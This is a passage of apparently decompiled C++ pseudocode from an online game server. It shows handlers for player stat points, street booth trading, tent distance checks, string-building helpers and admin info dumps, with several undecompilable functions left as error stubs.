case 4: --*(_BYTE *)(*((_DWORD *)v4 + 5921) + 4); LABEL_13: v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4197; v9[2] = *(_BYTE *)(netcmd + 2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v4, &gpp); (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 1316))(v4); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_StatIncrease : Packet Too Long", 3); (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 1316))(v4); } break; default: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ : Invalid Stat", *(_BYTE *)(netcmd + 2)); (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 4, 97, 2755); break; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ"); } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ"); } } //----- (00559550) -------------------------------------------------------- #error "559550: undefined or illegal type '#593' (funcsize=53)" //----- (00559630) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_StatDecrease(void *this, int suc) { int v2; // esi@1 int v3; // edi@1 DebugLogging *v4; // edi@2 _iobuf *v5; // eax@4 char v6; // al@8 char v7; // al@10 char v8; // al@12 char v9; // al@14 char v10; // al@16 int v11; // ecx@18 v2 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_StatIncrease"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_StatIncrease"; v3 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(unsigned __int8)(*(int (__thiscall **)(int, int, _DWORD, _DWORD))(*(_DWORD *)(v2 + 57880) + 32))( v2 + 57880, v2, *(_WORD *)(suc + 7), 0) ) { v4 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_StatDecrease : "); if ( DebugLogging::dl_ActivAll ) { if ( v4->dl_Activ ) { DebugLogging::dl_FilePoint(v4); v5 = v4->dl_FilePointer; if ( v5 ) fprintf(v5, "%d"); } } DebugLogging::operator<<(v4, &deb_LF); v3 = -1; } switch ( *(_BYTE *)(suc + 6) ) { case 0: v6 = *(_BYTE *)(v2 + 32250); if ( v6 ) *(_BYTE *)(v2 + 32250) = v6 - 1; goto LABEL_18; case 1: v7 = *(_BYTE *)(v2 + 32251); if ( v7 ) *(_BYTE *)(v2 + 32251) = v7 - 1; goto LABEL_18; case 2: v8 = *(_BYTE *)(v2 + 32252); if ( v8 ) *(_BYTE *)(v2 + 32252) = v8 - 1; goto LABEL_18; case 3: v9 = *(_BYTE *)(v2 + 32253); if ( v9 ) *(_BYTE *)(v2 + 32253) = v9 - 1; goto LABEL_18; case 4: v10 = *(_BYTE *)(v2 + 32254); if ( v10 ) *(_BYTE *)(v2 + 32254) = v10 - 1; LABEL_18: v11 = *(_DWORD *)(v2 + 3856); --*(_BYTE *)(v2 + 32255); Parameter::Container::c_Storepure((void *)(v2 + 3860), v11, v2); ShineObjectClass::ShinePlayer::sp_UserCheckFreeStatApplication(v2, suc, v3, v2); break; default: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_StatIncrease : Invalid Stat", *(_BYTE *)(suc + 6)); (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v2 + 776))(v2, 4, 103, 2755); break; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_StatIncrease"); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00559810) -------------------------------------------------------- #error "559810: undefined or illegal type '#593' (funcsize=55)" //----- (005598F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_StatRemainSend(void *this) { int v1; // esi@1 int v2; // edi@1 int v3; // ebx@1 int v4; // ebx@1 int v5; // eax@1 char *v6; // ecx@3 int v7; // eax@5 v1 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_CHAR_STAT_DECPOINTFAIL_DB_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_CHAR_STAT_DECPOINTFAIL_DB_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)(v1 + 3856); v3 = (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1236))(v1); v4 = shineparam.scp_param.commonparam[v3]->stat[(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 48))(v2)]; v5 = ShineObjectClass::ShinePlayer::sp_CalcCurrentStat(v1); if ( v4 >= v5 ) { v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4187; v6[2] = v4 - v5; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 760))(v1); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v1, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_charbasedata : Packet Too Long", 3); } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_StatRemainSend : Too many StatPoint", v4 >= v5); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GameDBSession::gds_NC_CHAR_STAT_DECPOINTFAIL_DB_ACK"); } //----- (00559A20) -------------------------------------------------------- #error "559A20: undefined or illegal type '#593' (funcsize=79)" //----- (00559B30) -------------------------------------------------------- void __thiscall StreetBooth::StreetBooth(StreetBooth *this) { this->vfptr = (StreetBoothVtbl *)&StreetBooth::_vftable_; this->sb_Terminal = 0; } // 674A8C: using guessed type int (*StreetBooth___vftable_)(); //----- (00559B40) -------------------------------------------------------- void __thiscall StreetBooth::_StreetBooth(StreetBooth *this) { this->vfptr = (StreetBoothVtbl *)&StreetBooth::_vftable_; } // 674A8C: using guessed type int (*StreetBooth___vftable_)(); //----- (00559B50) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineNPC::so_TentDistance(ShineObjectClass::ShineNPC *this, SHINE_XY_TYPE *boothloc) { __int16 v2; // ax@1 char result; // al@4 int v4; // ecx@5 int v5; // eax@5 unsigned int v6; // ecx@5 v2 = ***(_WORD ***)&this->gap0[7656]; if ( v2 == 5606 || v2 == 5607 || v2 == 5700 ) { v4 = *(_DWORD *)&this->gap0[78]; v5 = *(_DWORD *)v4; v6 = *(_DWORD *)(v4 + 4) - boothloc->y; result = (v5 - boothloc->x) * (v5 - boothloc->x) + v6 * v6 > 0x7E9; } else { result = 0; } return result; } //----- (00559BA0) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::so_TentDistance(void *this, int boothloc) { void *v2; // esi@1 signed int result; // eax@3 int v4; // ecx@4 int v5; // eax@4 int v6; // ecx@4 v2 = this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1152))() == 5 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1152))(v2) == 4 ) { v4 = *(_DWORD *)((char *)v2 + 78); v5 = *(_DWORD *)v4; v6 = *(_DWORD *)(v4 + 4) - *(_DWORD *)(boothloc + 4); result = (unsigned int)((v5 - *(_DWORD *)boothloc) * (v5 - *(_DWORD *)boothloc) + v6 * v6) > 0x7E9; } else { result = 1; } return result; } //----- (00559C00) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_TentDistance(ShineObjectClass::ShineMiniHouse *this, SHINE_XY_TYPE *boothloc) { int v2; // ecx@1 unsigned int v3; // eax@1 unsigned int v4; // ecx@1 v2 = *(_DWORD *)&this->gap0[78]; v3 = *(_DWORD *)v2 - boothloc->x; v4 = *(_DWORD *)(v2 + 4) - boothloc->y; return v3 * v3 + v4 * v4 > 0x7E9; } //----- (00559C30) -------------------------------------------------------- #error "559C30: undefined or illegal type '#734' (funcsize=26)" //----- (00559C90) -------------------------------------------------------- #error "559C90: undefined or illegal type '#593' (funcsize=7)" //----- (00559CB0) -------------------------------------------------------- #error "559CB0: undefined or illegal type '#734' (funcsize=15)" //----- (00559CE0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_IsInBoothInterior(int this) { return (*(int (**)(void))(**(_DWORD **)(this + 139652) + 32))(); } //----- (00559CF0) -------------------------------------------------------- void __thiscall StreetBoothSell::sb_Open(StreetBoothSell *this, InventoryLocking::InventoryCellLock *locker) { StreetBoothSell *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "StreetBoothSell::sb_Clear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StreetBoothSell::sb_Clear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->sbs_LockIndex = locker->icl_Index++; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "StreetBoothSell::sb_Clear"); } //----- (00559D60) -------------------------------------------------------- void __thiscall StreetBoothSell::sb_Close(StreetBoothSell *this, InventoryLocking::InventoryCellLock *locker) { StreetBoothSell *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "StreetBoothSell::sb_Close"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StreetBoothSell::sb_Close"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ((void (__stdcall *)(_DWORD))locker->vfptr->icl_Free)(v2->sbs_LockIndex); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "StreetBoothSell::sb_Close"); } //----- (00559E10) -------------------------------------------------------- void __thiscall StreetBoothSell::sb_Clear(StreetBoothSell *this) { StreetBoothSell *v1; // esi@1 int v2; // eax@1 signed int v3; // ecx@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "StreetBoothSell::sb_Clear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StreetBoothSell::sb_Clear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (int)&v1->sbs_BoothCell[0].invencell; v3 = 20; do { *(_DWORD *)v2 = 0; v2 += 16; --v3; } while ( v3 ); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "StreetBoothSell::sb_Clear"); } //----- (00559E80) -------------------------------------------------------- void __thiscall StreetBoothBuy::sb_Clear(StreetBoothBuy *this) { StreetBoothBuy *v1; // esi@1 int v2; // eax@1 signed int v3; // ecx@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "StreetBoothBuy::sb_Clear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StreetBoothBuy::sb_Clear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (int)v1->sbb_BoothCell; v3 = 20; do { *(_WORD *)v2 = -1; v2 += 16; --v3; } while ( v3 ); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "StreetBoothBuy::sb_Clear"); } //----- (00559EF0) -------------------------------------------------------- #error "559EF0: undefined or illegal type '#593' (funcsize=89)" //----- (0055A030) -------------------------------------------------------- #error "55A030: undefined or illegal type '#593' (funcsize=80)" //----- (0055A160) -------------------------------------------------------- #error "55A160: undefined or illegal type '#593' (funcsize=38)" //----- (0055A210) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BOOTH_CLOSE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_CLOSE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_CLOSE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S7_54 & 1) ) { _S7_54 |= 1u; stru_130DF974.cmc_AllowMode = 32; atexit(_E8_49); } if ( (1 << **((_BYTE **)v4 + 892)) & stru_130DF974.cmc_AllowMode ) ShineObjectClass::ShinePlayer::sp_CloseStreetBooth(v4); else (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 26, 5, 2628); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_CLOSE_CMD"); } //----- (0055A300) -------------------------------------------------------- #error "55A300: undefined or illegal type '#593' (funcsize=125)" //----- (0055A4E0) -------------------------------------------------------- #error "55A4E0: undefined or illegal type '#593' (funcsize=100)" //----- (0055A660) -------------------------------------------------------- #error "55A660: undefined or illegal type '#593' (funcsize=106)" //----- (0055A7E0) -------------------------------------------------------- #error "55A7E0: undefined or illegal type '#593' (funcsize=92)" //----- (0055A920) -------------------------------------------------------- #error "55A920: undefined or illegal type '#593' (funcsize=161)" //----- (0055AB50) -------------------------------------------------------- StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, const char *str) { StringMaker::Maker *v2; // esi@1 const char *v3; // edx@1 unsigned int v4; // eax@1 int v5; // ecx@1 int v6; // edi@2 char v7; // cl@3 int v8; // eax@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "StringMaker::Maker::operator <<(char *str)"); v3 = str; funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StringMaker::Maker::operator <<(char *str)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = strlen(str); v5 = v2->m_Pointer; if ( v5 + v4 + 1 < 0x400 ) { v6 = (int)((char *)v2 + v5); do { v7 = *v3++; *(_BYTE *)v6++ = v7; } while ( v7 ); v8 = v4 + v2->m_Pointer; v2->m_Pointer = v8; v2->m_Buffer[v8] = 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "StringMaker::Maker::operator <<(char *str)"); return v2; } //----- (0055ABF0) -------------------------------------------------------- StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, char chr) { StringMaker::Maker *v2; // esi@1 int v3; // eax@1 int v4; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "StringMaker::Maker::operator <<(char chr)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StringMaker::Maker::operator <<(char chr)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->m_Pointer; if ( (unsigned int)(v3 + 2) < 0x400 ) { v2->m_Buffer[v3] = chr; v4 = v2->m_Pointer + 1; v2->m_Pointer = v4; v2->m_Buffer[v4] = 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "StringMaker::Maker::operator <<(char chr)"); return v2; } //----- (0055AC70) -------------------------------------------------------- StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, int num) { StringMaker::Maker *v2; // esi@1 StringMaker::Maker *result; // eax@1 FunctionEntarance _; // [sp+4h] [bp-34h]@1 char buffer[32]; // [sp+8h] [bp-30h]@1 unsigned int v6; // [sp+28h] [bp-10h]@1 int v7; // [sp+34h] [bp-4h]@1 v2 = this; v6 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "StringMaker::Maker::operator <<(int num)"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "StringMaker::Maker::operator <<(int num)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StringMaker::Maker::operator <<(int num)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = 0; sprintf(buffer, "%d"); StringMaker::Maker::operator<<(v2, buffer); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "StringMaker::Maker::operator <<(int num)"); __security_check_cookie((unsigned int)&_ ^ v6); return result; } //----- (0055AD40) -------------------------------------------------------- StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, Name3 *id) { StringMaker::Maker *v2; // esi@1 unsigned int v3; // eax@1 char *v4; // eax@1 StringMaker::Maker *v5; // eax@1 StringMaker::Maker *v6; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "StringMaker::Maker::operator <<(Name3 *id)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StringMaker::Maker::operator <<(Name3 *id)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v3; v4 = (char *)&namestring + 256 * v3; *(_QWORD *)v4 = *(_QWORD *)&id->n3_name[0]; *((_DWORD *)v4 + 2) = *(_DWORD *)&id->n3_name[8]; v4[12] = 0; v5 = StringMaker::Maker::operator<<(v2, v4); --funcallanalizer.fca_stackpoint; v6 = v5; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "StringMaker::Maker::operator <<(Name3 *id)"); return v6; } //----- (0055AE10) -------------------------------------------------------- StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, ItemInventoryCell *iic) { StringMaker::Maker *v2; // esi@1 StringMaker::Maker *v3; // eax@1 StringMaker::Maker *v4; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "StringMaker::Maker::operator <<(ItemInventoryCell *iic)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StringMaker::Maker::operator <<(ItemInventoryCell *iic)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = StringMaker::Maker::operator<<(v2, iic->iic_Item.iti_itemstruct.itemid); --funcallanalizer.fca_stackpoint; v4 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "StringMaker::Maker::operator <<(ItemInventoryCell *iic)"); return v4; } //----- (0055AEC0) -------------------------------------------------------- #error "55AEC0: undefined or illegal type '#734' (funcsize=34)" //----- (0055AF60) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_SendInform2Admin(int a1) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_SendInform2Admin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_SendInform2Admin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_SendInform2Admin"); } //----- (0055AFB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_SendInform2Admin(void *this, int a2) { void *v2; // esi@1 int v3; // eax@1 unsigned int v4; // ecx@1 char *v5; // ecx@1 const char *v6; // ST10_4@1 StringMaker::Maker *v7; // eax@1 StringMaker::Maker *v8; // eax@1 int v9; // ST10_4@1 StringMaker::Maker *v10; // eax@1 StringMaker::Maker *v11; // eax@1 int v12; // ST10_4@1 StringMaker::Maker *v13; // eax@1 StringMaker::Maker *v14; // eax@1 Name3 *v15; // eax@1 int v16; // ecx@3 int v17; // ST10_4@3 int v18; // ST08_4@3 StringMaker::Maker *v19; // eax@3 StringMaker::Maker *v20; // eax@3 StringMaker::Maker *v21; // eax@3 StringMaker::Maker *v22; // eax@3 StringMaker::Maker *v23; // eax@3 int v24; // ST10_4@4 int v25; // ST08_4@4 StringMaker::Maker *v26; // eax@4 StringMaker::Maker *v27; // eax@4 StringMaker::Maker *v28; // eax@4 StringMaker::Maker *v29; // eax@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_SendInform2Admin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_SendInform2Admin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1384))(v2); v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)v3; *((_DWORD *)v5 + 1) = *(_DWORD *)(v3 + 4); *((_DWORD *)v5 + 2) = *(_DWORD *)(v3 + 8); v6 = v5; *((_DWORD *)v5 + 3) = *(_DWORD *)(v3 + 12); v5[16] = 0; maker.m_Pointer = 0; v7 = StringMaker::Maker::operator<<(&maker, "Name : "); v8 = StringMaker::Maker::operator<<(v7, v6); StringMaker::Maker::operator<<(v8, (StringMaker::Finisher *)&a2); maker.m_Pointer = 0; v9 = (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1236))(v2); v10 = StringMaker::Maker::operator<<(&maker, "Level : "); v11 = StringMaker::Maker::operator<<(v10, v9); StringMaker::Maker::operator<<(v11, (StringMaker::Finisher *)&a2); maker.m_Pointer = 0; v12 = (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1152))(v2); v13 = StringMaker::Maker::operator<<(&maker, "Mode : "); v14 = StringMaker::Maker::operator<<(v13, v12); StringMaker::Maker::operator<<(v14, (StringMaker::Finisher *)&a2); maker.m_Pointer = 0; StringMaker::Maker::operator<<(&maker, "Location : "); v15 = *(Name3 **)((char *)v2 + 98); if ( v15 ) { v16 = *(_DWORD *)((char *)v2 + 78); v17 = *(_DWORD *)(v16 + 4); v18 = *(_DWORD *)v16; v19 = StringMaker::Maker::operator<<(&maker, v15); v20 = StringMaker::Maker::operator<<(v19, 47); v21 = StringMaker::Maker::operator<<(v20, v18); v22 = StringMaker::Maker::operator<<(v21, 47); v23 = StringMaker::Maker::operator<<(v22, v17); StringMaker::Maker::operator<<(v23, (StringMaker::Finisher *)&a2); } else { StringMaker::Maker::operator<<(&maker, "Null"); } maker.m_Pointer = 0; v24 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1260))(v2); v25 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1252))(v2); v26 = StringMaker::Maker::operator<<(&maker, "HP : "); v27 = StringMaker::Maker::operator<<(v26, v25); v28 = StringMaker::Maker::operator<<(v27, 47); v29 = StringMaker::Maker::operator<<(v28, v24); StringMaker::Maker::operator<<(v29, (StringMaker::Finisher *)&a2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_SendInform2Admin"); } //----- (0055B1E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_SendInform2Admin(void *this, int a2) { void *v2; // esi@1 int v3; // ebx@1 int v4; // eax@1 ItemInventoryCell *v5; // ST08_4@1 StringMaker::Maker *v6; // eax@1 StringMaker::Maker *v7; // eax@1 int v8; // eax@1 StringMaker::Maker *v9; // eax@2 int *v10; // eax@3 int v11; // eax@7 int v12; // ST08_4@7 StringMaker::Maker *v13; // eax@7 StringMaker::Maker *v14; // eax@7 int v15; // eax@9 int v16; // ST0C_4@9 StringMaker::Maker *v17; // eax@9 StringMaker::Maker *v18; // eax@12 StringMaker::Maker *v19; // eax@12 StringMaker::Maker *v20; // eax@12 const char *v21; // ST04_4@12 StringMaker::Maker *v22; // eax@12 StringMaker::Maker *v23; // eax@12 StringMaker::Maker *v24; // eax@12 int v25; // eax@12 const char *v26; // ST04_4@13 StringMaker::Maker *v27; // eax@13 StringMaker::Maker *v28; // eax@13 StringMaker::Maker *v29; // eax@13 int v30; // esi@15 int v31; // ST08_4@15 StringMaker::Maker *v32; // eax@15 StringMaker::Maker *v33; // eax@15 const char *v34; // [sp-Ch] [bp-28h]@10 char v35; // [sp-8h] [bp-24h]@10 StringMaker::Finisher *v36; // [sp-4h] [bp-20h]@2 StringMaker::Finisher *v37; // [sp-4h] [bp-20h]@10 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SendInform2Admin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SendInform2Admin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = a2; ShineObjectClass::ShineMobileObject::so_SendInform2Admin(v2, a2); maker.m_Pointer = 0; v4 = *((_DWORD *)v2 + 13243); a2 = v3; v5 = (ItemInventoryCell *)(*(int (__stdcall **)(_DWORD))v4)(0); v6 = StringMaker::Maker::operator<<(&maker, "MiniHouse(Inven) : "); v7 = StringMaker::Maker::operator<<(v6, v5); StringMaker::Maker::operator<<(v7, (StringMaker::Finisher *)&a2); maker.m_Pointer = 0; StringMaker::Maker::operator<<(&maker, "MiniHouse(SkinHandle) : "); v8 = *((_DWORD *)v2 + 34887); if ( v8 ) { v10 = *(int **)(v8 + 4); if ( v10 ) { v36 = (StringMaker::Finisher *)&a2; v9 = StringMaker::Maker::operator<<(&maker, *(_WORD *)v10); } else { v36 = (StringMaker::Finisher *)&a2; v9 = StringMaker::Maker::operator<<(&maker, "NULL Data"); } } else { v36 = (StringMaker::Finisher *)&a2; v9 = StringMaker::Maker::operator<<(&maker, "NULL handle"); } StringMaker::Maker::operator<<(v9, v36); if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1152))(v2) == 4 ) { v11 = *((_DWORD *)v2 + 8040) + 29; maker.m_Pointer = 0; v12 = *(_BYTE *)v11; v13 = StringMaker::Maker::operator<<(&maker, "MiniHouse(Brief:Camp) : "); v14 = StringMaker::Maker::operator<<(v13, v12); StringMaker::Maker::operator<<(v14, (StringMaker::Finisher *)&a2); } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1152))(v2) == 5 ) { v15 = *((_DWORD *)v2 + 8040) + 29; maker.m_Pointer = 0; v16 = *(_BYTE *)v15; v17 = StringMaker::Maker::operator<<(&maker, "MiniHouse(Brief:Booth) : "); StringMaker::Maker::operator<<(v17, v16); if ( *((_DWORD *)v2 + 34913) ) { v37 = (StringMaker::Finisher *)&a2; v35 = 93; v34 = (const char *)(***((int (****)(void))v2 + 34913))(); } else { v37 = (StringMaker::Finisher *)&a2; v35 = 93; v34 = "NULL"; } v18 = StringMaker::Maker::operator<<(&maker, 91); v19 = StringMaker::Maker::operator<<(v18, v34); v20 = StringMaker::Maker::operator<<(v19, v35); StringMaker::Maker::operator<<(v20, v37); v21 = (const char *)(*((_DWORD *)v2 + 8040) + 41); maker.m_Pointer = 0; v22 = StringMaker::Maker::operator<<(&maker, " ["); v23 = StringMaker::Maker::operator<<(v22, v21); v24 = StringMaker::Maker::operator<<(v23, 93); StringMaker::Maker::operator<<(v24, (StringMaker::Finisher *)&a2); v25 = *((_DWORD *)v2 + 34913); if ( v25 ) { v26 = (const char *)(v25 + 4); maker.m_Pointer = 0; v27 = StringMaker::Maker::operator<<(&maker, " ["); v28 = StringMaker::Maker::operator<<(v27, v26); v29 = StringMaker::Maker::operator<<(v28, 93); StringMaker::Maker::operator<<(v29, (StringMaker::Finisher *)&a2); } } if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1152))(v2) == 6 ) { v30 = *((_DWORD *)v2 + 8040) + 29; maker.m_Pointer = 0; v31 = *(_WORD *)(v30 + 47); v32 = StringMaker::Maker::operator<<(&maker, "Riding(Brief:Camp) : "); v33 = StringMaker::Maker::operator<<(v32, v31); StringMaker::Maker::operator<<(v33, (StringMaker::Finisher *)&a2); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SendInform2Admin"); } //----- (0055B4B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_SendInform2Admin(void *this, int a2) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_SendInform2Admin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_SendInform2Admin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShineMobileObject::so_SendInform2Admin(v2, a2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( 